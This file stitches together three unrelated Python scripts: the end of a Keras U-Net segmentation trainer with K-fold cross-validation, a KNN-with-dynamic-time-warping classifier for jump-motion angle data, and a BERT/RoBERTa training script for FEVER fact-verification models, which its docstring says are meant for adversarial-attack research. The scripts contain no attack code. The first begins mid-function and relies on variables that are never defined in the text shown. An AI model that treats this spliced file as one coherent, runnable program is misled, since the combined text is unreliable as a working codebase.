    X = Add()([X, X2]) # 32x32

    # Deconvolution block 4
    X = deconvolution_block(X, filters = [16, 16, 64], dropout_rate = dropout_rate) # 64x64
    X = Add()([X, X1]) # 64x64

    # Final deconvolution block
    X = deconvolution_block(X, filters = [16, 16, 64], dropout_rate = dropout_rate) # 128x128

    predictions = Conv2D(1, (1, 1), activation='sigmoid')(X)

    model = Model(input = base_model.input, output = predictions)

    return model

#####################################################################################################

def train_uNet(X_train_cv, Y_train_cv, X_dev, Y_dev, parameters, batch_size, train_generator, file_path):

    # Train model using Adam optimizer and early stopping
    model = uNet_Model(input_shape=(128, 128, 3), dropout_rate = parameters['dropout_rate'])
    model.compile(loss='binary_crossentropy',
                  optimizer=Adam(lr = parameters['learning_rate'], decay = parameters['decay']),
                  metrics=['accuracy'])
    model.fit_generator(generator = train_generator,
                        steps_per_epoch = int(X_train_cv.shape[0]/batch_size),
                        epochs = epochs,
                        shuffle = True,
                        verbose = 2,
                        validation_data = (X_dev, Y_dev),
                        validation_steps = int(X_train_cv.shape[0]/batch_size),
                        callbacks = [EarlyStopping('val_loss', patience=parameters['patience'], mode="min"),
                                     ModelCheckpoint(file_path, save_best_only=True)])

    return model

def get_folds(X_train, Y_train, K):

    # Shuffles data then returns K folds of X,Y-train, X,Y-dev
    folds = []
    m = X_train.shape[0]
    permutation = list(np.random.permutation(m))
    X_shuffled = X_train[permutation, :, :, :]
    Y_shuffled = Y_train[permutation, :, :, :]
    fold_length = int(m/K)
    for j in range(K):
        cv_idx = list(range(j*fold_length, (j+1)*fold_length))
        train_idx = list(range(0, j*fold_length)) + list(range((j+1)*fold_length, m))
        X_train_cv = X_shuffled[train_idx, :, :, :]
        Y_train_cv = Y_shuffled[train_idx, :, :, :]
        X_dev = X_shuffled[cv_idx, :, :, :]
        Y_dev = Y_shuffled[cv_idx, :, :, :]
        fold = [X_train_cv, Y_train_cv, X_dev, Y_dev]
        folds.append(fold)

    return folds

def get_file_path(j, parameters, directory):

    print('\nFold:\t{}\nlearning_rate:\t{learning_rate}\ndropout_rate:\t{dropout_rate}\naugmentation:\t{aug}'.format(str(j), **parameters))
    if not os.path.exists(directory):
        os.makedirs(directory)
    file_path = directory + '/weights_'+str(j)+'.hdf5'

    return file_path

def rename_weight_path(j, metrics, file_path, directory):

    print('\nFold:\t{}\nTrain Loss:\t{train_loss:.4}\nDev Loss:\t{dev_loss:.4}\nMean IoU:\t{IoU:.4}\n'.format(str(j), **metrics))
    new_weight_path = '{}_{}_{dev_loss:.4}_{IoU:.4}{hdf5}'.format('/weights', str(j), **metrics)
    os.rename(file_path, directory + new_weight_path)

    return

def print_final_metrics(parameters, metrics, directory):

    print('\n\nlearning_rate: {learning_rate}\ndropout_rate: {dropout_rate}\naugmentation: {aug}'.format(**parameters))
    print('avg_dev_loss:\t{avg_dev_loss}\nmean_IoU:\t{IoU_log}\n\n\n'.format(**metrics))
    name = 'loss={avg_dev_loss:.6}_IoU={IoU_log:.6}'.format(**metrics)
    new_path = directory+'--'+name
    os.rename(directory, new_path)

    return

def get_metrics(model, X_train_cv, Y_train_cv, X_dev, Y_dev, file_path, metrics):

    # Load the best model weights saved by early stopping
    K = metrics['K']
    model.load_weights(filepath=file_path)

    # Get train and dev loss
    train_eval = model.evaluate(X_train_cv, Y_train_cv, verbose=0)
    metrics['train_loss'] = train_eval[0]
    dev_eval = model.evaluate(X_dev, Y_dev, verbose=0)
    metrics['dev_loss'] = dev_eval[0]
    metrics['avg_dev_loss'] += metrics['dev_loss']/K

    # Get Intersection over Union
    preds_dev = model.predict(X_dev)
    Y_pred = preds_dev >= 0.5
    Y_true = Y_dev
    IoU = my_iou_metric(Y_true, Y_pred)
    metrics['IoU'] = IoU
    metrics['IoU_log'] += IoU/K

    return metrics

############################################################################

for learning_rate in learning_rates:

    aug = ''
    if pre_proc['width_shift_range'] != 0.0:
        aug += '_{}={width_shift_range}'.format(aug, 'shift', **pre_proc)
    if pre_proc['zoom_range'] != 0.0:
        aug += '_{}={zoom_range}'.format(aug, 'zoom', **pre_proc)
    if pre_proc['rotation_range'] != 0.0:
        aug += '_{}={rotation_range}'.format(aug, 'rotation', **pre_proc)
    if pre_proc['horizontal_flip']:
        aug += '_{}={horizontal_flip}'.format(aug, 'h-flip', **pre_proc)
    if pre_proc['vertical_flip']:
        aug += '_{}={vertical_flip}'.format(aug, 'v-flip', **pre_proc)

    parameters = {'learning_rate':learning_rate, 'dropout_rate':dropout_rate, 'aug':aug, 'decay':decay, 'patience':patience}
    directory = 'model_5/{learning_rate}_{dropout_rate}/{aug}'.format(**parameters)
    metrics = {'train_loss': 0, 'dev_loss': 0, 'avg_dev_loss': 0, 'IoU': 0, 'IoU_log': 0, 'K': K,
               'hdf5': '.hdf5'}

    # Create image and mask data generators for preprocessing
    image_datagen = ImageDataGenerator(**pre_proc)
    mask_datagen = ImageDataGenerator(**pre_proc)
    image_datagen.fit(X_train, augment = True)
    mask_datagen.fit(Y_train, augment = True)
    image_generator = image_datagen.flow(X_train,
                                         batch_size = batch_size)
    mask_generator = mask_datagen.flow(Y_train,
                                       batch_size = batch_size)
    train_generator = zip(image_generator, mask_generator)

    # Create folds and train
    folds = get_folds(X_train, Y_train, K)
    for j in range(K):
        X_train_cv = folds[j][0]
        Y_train_cv = folds[j][1]
        X_dev = folds[j][2]
        Y_dev = folds[j][3]
        file_path = get_file_path(j, parameters, directory)
        model = train_uNet(X_train_cv, Y_train_cv, X_dev, Y_dev, parameters, batch_size,
                           train_generator, file_path)
        metrics = get_metrics(model, X_train_cv, Y_train_cv, X_dev, Y_dev, file_path, metrics)
        rename_weight_path(j, metrics, file_path, directory)
    print_final_metrics(parameters, metrics, directory)


# -*- coding: utf-8 -*-
"""
Created on Fri Sep 17 13:44:46 2021

@author: bfeng1
"""

import json
import sys
import matplotlib.pyplot as plt
import seaborn as sns
import pandas as pd
import numpy as np
from scipy.signal import savgol_filter
from sklearn.utils import resample
from sklearn.metrics import accuracy_score
from sklearn.metrics import confusion_matrix
from scipy.stats import mode
from scipy.spatial.distance import squareform
from sklearn.preprocessing import LabelEncoder
from sklearn.model_selection import train_test_split

#%%
class jump:
    n = 135
    r = 5
    def __init__(self, name, jump_cycle):
        self.name = name
        self.jump_cycle = jump_cycle
    def csv2df(self):
        csv_file = 'csv_files/'+self.name + '.csv'
        df = pd.read_csv(csv_file)
        # cleaning the dataset(drop the rows with ratio is higher than 2.25)
        df['left angle ratio'] = df['Angle1']/df['Angle3']
        df.drop(df[df['left angle ratio']>2.25].index, inplace = True)
        df.drop(df[df['left angle ratio']<0.75].index, inplace = True)
        df['smoothed'] = savgol_filter(df['left angle ratio'], 25, 2)
        return df

    def finetune(self):
        df = jump.csv2df(self)
        jump_cycle = self.jump_cycle
        new_results = []
        for domain in jump_cycle:
            current_list = []
            for inx in domain:
                start = inx - jump.r
                end = inx + jump.r
                temp = df[start:end]
                max_val = temp['left angle ratio'].max()
                ind = temp[temp['left angle ratio'] == max_val].index.values.astype(int)
                try:
                    ind = ind[0]
                except:
                    ind = 0
                current_list.append(ind)
            new_results.append(current_list)
        check = (jump_cycle == new_results)
        if check is False:
            print('old cycle {}: {}'.format(self.name, jump_cycle))
            print('new cycle {}: {}'.format(self.name, new_results))
        elif check is True:
            print('The jump cycle has been finetuned')
        return new_results

    def resample_df(self):
        df_list = []
        jump_cycle = self.jump_cycle
        df = jump.csv2df(self)
        for i in range(len(jump_cycle)):
            temp = df[jump_cycle[i][0]:jump_cycle[i][1]]
            resample_data = resample(temp, n_samples = jump.n, replace = False, random_state = 0).sort_index()
            # resample_data: resampled dataframe
            resample_data = resample_data.reset_index()
            df_list.append(resample_data)
            # create  plots with resampled data
        return df_list
    def vis(self):
        df_list = jump.resample_df(self)
        a = (len(df_list)+1)//2
        b = 2
        plt.figure(figsize = (14,22))
        for i in range(len(df_list)):
            plt.subplot(a,b,i+1)
            plt.title('subplots {}{}{} : cycle {}'.format(a,b,i+1,i+1))
            plt.xlabel('frame number')
            plt.ylabel('Left angle ratio')
            sns.scatterplot(data = df_list[i], x = df_list[i].index, y = 'left angle ratio')
            sns.lineplot(data = df_list[i], x = df_list[i].index, y = 'smoothed')
        print('the process is done for the jump {}'.format(self.name))

# #%%
# # create lists to store the names of csv files
# # create jump cycle(manually select range, then autocorrect by algorithm)
# good_jump_cycle = [[154,309],[398,539],[651,786],[825,980],[1018,1158],[1188,1337],[1374,1524],[1555,1698],[1737,1881],[1895,2054]]
# # cycle1: [010262,010456], [010469, 010638], [010655,010821],[010829,010998],[010998,011163],[011168,011331], [011331, 011497],[011497,011659],[011670,011849],[011849,012015]
# inner_jump_cycle=[ [397,562],[562,742],[742,902],[902,1060],[1060,1232],[1232,1398],[1398,1583],[1583,1760]]
# # cycle1: [001550,001700], [001716, 001902], [001930,002095],[002128,002300],[002330,002520],[002540,002709], [002729, 002900],[002916,003078],[003085,03249]
# outer_jump_cycle = [[379,552],[579,767],[767,973],[991,1171],[1171,1351],[1364,1527],[1543,1697]]

#%%

class KnnDtw(object):
    """K-nearest neighbor classifier using dynamic time warping
    as the distance measure between pairs of time series arrays

    Arguments
    ---------
    n_neighbors : int, optional (default = 5)
        Number of neighbors to use by default for KNN

    max_warping_window : int, optional (default = infinity)
        Maximum warping window allowed by the DTW dynamic
        programming function

    subsample_step : int, optional (default = 1)
        Step size for the timeseries array. By setting subsample_step = 2,
        the timeseries length will be reduced by 50% because every second
        item is skipped. Implemented by x[:, ::subsample_step]
    """

    def __init__(self, n_neighbors=5, max_warping_window=10000, subsample_step=1):
        self.n_neighbors = n_neighbors
        self.max_warping_window = max_warping_window
        self.subsample_step = subsample_step

    def fit(self, x, l):
        """Fit the model using x as training data and l as class labels

        Arguments
        ---------
        x : array of shape [n_samples, n_timepoints]
            Training data set for input into KNN classifer

        l : array of shape [n_samples]
            Training labels for input into KNN classifier
        """

        self.x = x
        self.l = l

    def _dtw_distance(self, ts_a, ts_b, d = lambda x,y: abs(x-y)):
        """Returns the DTW similarity distance between two 2-D
        timeseries numpy arrays.

        Arguments
        ---------
        ts_a, ts_b : array of shape [n_samples, n_timepoints]
            Two arrays containing n_samples of timeseries data
            whose DTW distance between each sample of A and B
            will be compared

        d : DistanceMetric object (default = abs(x-y))
            the distance measure used for A_i - B_j in the
            DTW dynamic programming function

        Returns
        -------
        DTW distance between A and B
        """

        # Create cost matrix via broadcasting with large int
        ts_a, ts_b = np.array(ts_a), np.array(ts_b)
        M, N = len(ts_a), len(ts_b)
        cost = sys.maxsize * np.ones((M, N))

        # Initialize the first row and column
        cost[0, 0] = d(ts_a[0], ts_b[0])
        for i in range(1, M):
            cost[i, 0] = cost[i-1, 0] + d(ts_a[i], ts_b[0])

        for j in range(1, N):
            cost[0, j] = cost[0, j-1] + d(ts_a[0], ts_b[j])

        # Populate rest of cost matrix within window
        for i in range(1, M):
            for j in range(max(1, i - self.max_warping_window),
                            min(N, i + self.max_warping_window)):
                choices = cost[i - 1, j - 1], cost[i, j-1], cost[i-1, j]
                cost[i, j] = min(choices) + d(ts_a[i], ts_b[j])

        # Return DTW distance given window
        return cost[-1, -1]

    def _dist_matrix(self, x, y):
        """Computes the M x N distance matrix between the training
        dataset and testing dataset (y) using the DTW distance measure

        Arguments
        ---------
        x : array of shape [n_samples, n_timepoints]

        y : array of shape [n_samples, n_timepoints]

        Returns
        -------
        Distance matrix between each item of x and y with
            shape [training_n_samples, testing_n_samples]
        """

        # Compute the distance matrix
        dm_count = 0

        # Compute condensed distance matrix (upper triangle) of pairwise dtw distances
        # when x and y are the same array
        if(np.array_equal(x, y)):
            x_s = np.shape(x)
            dm = np.zeros((x_s[0] * (x_s[0] - 1)) // 2, dtype=np.double)

            for i in range(0, x_s[0] - 1):
                for j in range(i + 1, x_s[0]):
                    dm[dm_count] = self._dtw_distance(x[i, ::self.subsample_step],
                                                      y[j, ::self.subsample_step])

                    dm_count += 1

            # Convert to squareform
            dm = squareform(dm)
            return dm

        # Compute full distance matrix of dtw distnces between x and y
        else:
            x_s = np.shape(x)
            y_s = np.shape(y)
            dm = np.zeros((x_s[0], y_s[0]))

            for i in range(0, x_s[0]):
                for j in range(0, y_s[0]):
                    dm[i, j] = self._dtw_distance(x[i, ::self.subsample_step],
                                                  y[j, ::self.subsample_step])
                    # Update progress bar
                    dm_count += 1

            return dm

    def predict(self, x):
        """Predict the class labels or probability estimates for
        the provided data

        Arguments
        ---------
          x : array of shape [n_samples, n_timepoints]
              Array containing the testing data set to be classified

        Returns
        -------
          2 arrays representing:
              (1) the predicted class labels
              (2) the knn label count probability
        """

        dm = self._dist_matrix(x, self.x)
        # Identify the k nearest neighbors
        knn_idx = dm.argsort()[:, :self.n_neighbors]

        # Identify k nearest labels
        knn_labels = self.l[knn_idx]

        # Model Label
        mode_data = mode(knn_labels, axis=1)
        mode_label = mode_data[0]
        mode_proba = mode_data[1]/self.n_neighbors

        return mode_label.ravel(), mode_proba.ravel()

#%%
good = ['good1', 'good2','good4','good6']
inner = ['inner1', 'inner2', 'inner3']
outer= ['outer1', 'outer2']
with open('list_info.txt','r') as file:
    input_lines = [line.strip() for line in file]
all_csv = good+inner+outer
info = {}
info['name'] = all_csv
info['cycle'] = input_lines
#%%
# structure dataset for algorithm training
good_dataset = []
inner_dataset = []
outer_dataset = []
n = 135
for i in range(len(all_csv)):
    temp = jump(info['name'][i], json.loads(info['cycle'][i]))
    # temp.finetune()
    # temp.vis(n)
    if i < len(good):
        good_dataset += temp.resample_df()
    elif i < len(good+inner):
        inner_dataset += temp.resample_df()
    else:
        outer_dataset += temp.resample_df()
total_x = good_dataset+inner_dataset+outer_dataset
for i in range(len(total_x)):
    total_x[i]['series_id'] = i
X = pd.concat(total_x)
#%%
# compare time series signal for good jump and bad (inner+outer) jump
# load the label file

y = pd.read_csv('csv_files/lable.csv')
label_encoder = LabelEncoder()
encoded_labels = label_encoder.fit_transform(y.jump)
y['label'] = encoded_labels
#%%

# create feature column
feature_columns = X.columns.tolist()[2:]
# construct sequence
sequences = []

for series_id, group in X.groupby('series_id'):
    sequence_features = group[feature_columns]
    label = y[y.series_id == series_id].iloc[0].label

    sequences.append((sequence_features, label))

def create_data(sequences, test_size = 0.2):
    train_sequences, test_sequences = train_test_split(sequences, test_size = 0.2)
    train_X = np.empty(shape = (len(train_sequences),135), dtype = 'object')
    train_y = []
    test_X = np.empty(shape = (len(test_sequences),135), dtype = 'object')
    test_y = []
    for i in range(len(train_sequences)):
        temp_x = train_sequences[i][0]['left angle ratio'].to_list()
        train_X[i][:] = temp_x
        train_y.append(train_sequences[i][1])
    for i in range(len(test_sequences)):
        temp_x = test_sequences[i][0]['left angle ratio'].to_list()
        test_X[i][:] = temp_x
        test_y.append(test_sequences[i][1])
    train_y = np.array(train_y)
    test_y = np.array(test_y)
    return train_X, test_X, train_y, test_y

#%%

iten = 20
score = 0
score_list = []
false_negative_rate = []
false_positive_rate = []
for i in range(iten):
    m = KnnDtw(n_neighbors=1, max_warping_window=15)
    train_X, test_X, train_y, test_y = create_data(sequences)
    m.fit(train_X, train_y)
    label, proba = m.predict(test_X)
    temp_score = accuracy_score(label,test_y)
    tn, fp, fn, tp = confusion_matrix(test_y, label).ravel()
    false_positive_rate.append(fp/(fp+tn))
    false_negative_rate.append(fn/(fn + tp))
    score_list.append(temp_score)
    score += temp_score
print('the accuracy of the classifier: {}%'.format(score/iten*100))
print('false positive rate: {}'.format(np.mean(false_positive_rate)))
print('false negative rate: {}'.format(np.mean(false_negative_rate)))


"""Training a Transformer Builder model to be used for adversarial attacks."""
import argparse
import random
from functools import partial
from typing import Dict

import numpy as np
import torch
from sklearn.metrics import precision_recall_fscore_support, confusion_matrix
from torch.utils.data.sampler import BatchSampler
from tqdm import tqdm
from transformers import AdamW, get_constant_schedule_with_warmup
from transformers import BertForSequenceClassification
from transformers import BertTokenizer, BertConfig
from transformers import RobertaForSequenceClassification, RobertaConfig, \
    RobertaTokenizer

from builders.data_loader import collate_fever, FeverDataset, \
    BucketBatchSampler, sort_key

def train_model(model: torch.nn.Module,
                train_dl: BatchSampler, dev_dl: BatchSampler,
                optimizer: torch.optim.Optimizer,
                scheduler: torch.optim.lr_scheduler.LambdaLR,
                n_epochs: int) -> (Dict, Dict):
    best_val, best_model_weights = {'val_f1': 0}, None

    for ep in range(n_epochs):
        for i, batch in enumerate(tqdm(train_dl, desc='Training')):
            model.train()
            optimizer.zero_grad()
            loss, _ = model(batch[0],
                                 attention_mask=batch[
                                                    0] !=
                                                tokenizer.pad_token_id,
                                 labels=batch[1])

            loss.backward()

            optimizer.step()
            scheduler.step()

            if i in [600, 700, 100]:
                print(eval_model(model, dev_dl), flush=True)

        val_p, val_r, val_f1, val_loss = eval_model(model, dev_dl)
        current_val = {
            'val_f1': val_f1,
            'val_p': val_p,
            'val_r': val_r,
            'val_loss': val_loss,
            'ep': ep
        }
        print(current_val, flush=True)

        if current_val['val_f1'] > best_val['val_f1']:
            best_val = current_val
            best_model_weights = model.state_dict()

    return best_model_weights, best_val

def eval_model(model: torch.nn.Module, test_dl: BatchSampler):
    model.eval()
    loss_f = torch.nn.CrossEntropyLoss()
    with torch.no_grad():
        labels_all = []
        logits_all = []
        losses = []
        for batch in tqdm(test_dl, desc="Evaluation"):
            loss, logits_val = model(batch[0],
                                     attention_mask=batch[0] > 1,
                                     labels=batch[1])
            loss = loss_f(logits_val, batch[1].long())
            losses.append(loss.item())

            labels_all += batch[1].detach().cpu().numpy().tolist()
            logits_all += logits_val.detach().cpu().numpy().tolist()

        prediction = np.argmax(np.asarray(logits_all).reshape(-1, args.labels),
                               axis=-1)
        p, r, f1, _ = precision_recall_fscore_support(labels_all, prediction,
                                                      average='macro')
        print(confusion_matrix(labels_all, prediction), flush=True)

    return p, r, f1, np.mean(losses)

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("--gpu", help="Flag for training on gpu",
                        action='store_true', default=False)
    parser.add_argument("--seed", help="Random seed", type=int, default=73)
    parser.add_argument("--labels",
                        help="2 labels if NOT ENOUGH INFO excluded, "
                             "3 otherwise",
                        type=int, default=3)

    parser.add_argument("--train_dataset", help="Path to the train datasets",
                        default='data/train_nli.jsonl', type=str)
    parser.add_argument("--dev_dataset", help="Path to the dev datasets",
                        default='data/dev_nli.jsonl', type=str)
    parser.add_argument("--test_dataset", help="Path to the test datasets",
                        default='data/test_nli.jsonl', type=str)
    parser.add_argument("--type", help="Type of transformer model",
                        choices=['bert', 'roberta'], default='bert')

    parser.add_argument("--model_path",
                        help="Path where the model will be serialized",
                        default='ferver_bert', type=str)

    parser.add_argument("--batch_size", help="Batch size", type=int, default=8)
    parser.add_argument("--lr", help="Learning Rate", type=float, default=5e-5)
    parser.add_argument("--epochs", help="Epochs number", type=int, default=4)
    parser.add_argument("--mode", help="Mode for the script", type=str,
                        default='train', choices=['train', 'test'])

    args = parser.parse_args()

    random.seed(args.seed)
    torch.manual_seed(args.seed)
    torch.cuda.manual_seed_all(args.seed)
    torch.backends.cudnn.deterministic = True
    np.random.seed(args.seed)

    device = torch.device("cuda") if args.gpu else torch.device("cpu")
    if args.type == 'bert':
        tokenizer = BertTokenizer.from_pretrained('bert-base-uncased')
        transformer_config = BertConfig.from_pretrained('bert-base-uncased',
                                                        num_labels=args.labels)
        model = BertForSequenceClassification(transformer_config).to(device)
    else:
        tokenizer = RobertaTokenizer.from_pretrained('roberta-base')
        transformer_config = RobertaConfig.from_pretrained('roberta-base',
                                                           num_labels=args.labels)  # , use_bfloat16=True
        model = RobertaForSequenceClassification.from_pretrained('roberta-base',
                                                                 config=transformer_config).to(
            device)

    collate_fn = partial(collate_fever, tokenizer=tokenizer, device=device)
    print(args, flush=True)

    param_optimizer = list(model.named_parameters())
    no_decay = ['bias', 'LayerNorm.bias', 'LayerNorm.weight']
    optimizer_grouped_parameters = [
        {
            'params': [p for n, p in param_optimizer if
                       not any(nd in n for nd in no_decay)],
            'weight_decay': 0.01
        },
        {
            'params': [p for n, p in param_optimizer if
                       any(nd in n for nd in no_decay)], 'weight_decay': 0.0
        }]

    optimizer = AdamW(optimizer_grouped_parameters, lr=args.lr)

    if args.mode == 'test':
        test = FeverDataset(args.test_dataset)
        # print(Counter([_x['label'] for _x in test]).most_common(3))
        test_dl = BucketBatchSampler(batch_size=args.batch_size,
                                     sort_key=sort_key, dataset=test,
                                     collate_fn=collate_fn)

        checkpoint = torch.load(args.model_path)

        model.load_state_dict(checkpoint['model'])
        print(eval_model(model, test_dl))

    else:
        print("Loading datasets...")
        train = FeverDataset(args.train_dataset)
        dev = FeverDataset(args.dev_dataset)

        # print(Counter([_x['label'] for _x in train]).most_common(3))
        # print(Counter([_x['label'] for _x in dev]).most_common(3))

        train_dl = BucketBatchSampler(batch_size=args.batch_size,
                                      sort_key=sort_key,
                                      dataset=train,
                                      collate_fn=collate_fn)
        dev_dl = BucketBatchSampler(batch_size=args.batch_size,
                                    sort_key=sort_key, dataset=dev,
                                    collate_fn=collate_fn)

        num_train_optimization_steps = int(
            args.epochs * len(train) / args.batch_size)

        scheduler = get_constant_schedule_with_warmup(optimizer,
                                                      num_warmup_steps=0.05)

        best_model_w, best_perf = train_model(model, train_dl, dev_dl,
                                              optimizer, scheduler, args.epochs)

        checkpoint = {
            'performance': best_perf,
            'args': vars(args),
            'model': best_model_w,
        }
        print(best_perf)
        print(args)

        torch.save(checkpoint, args.model_path)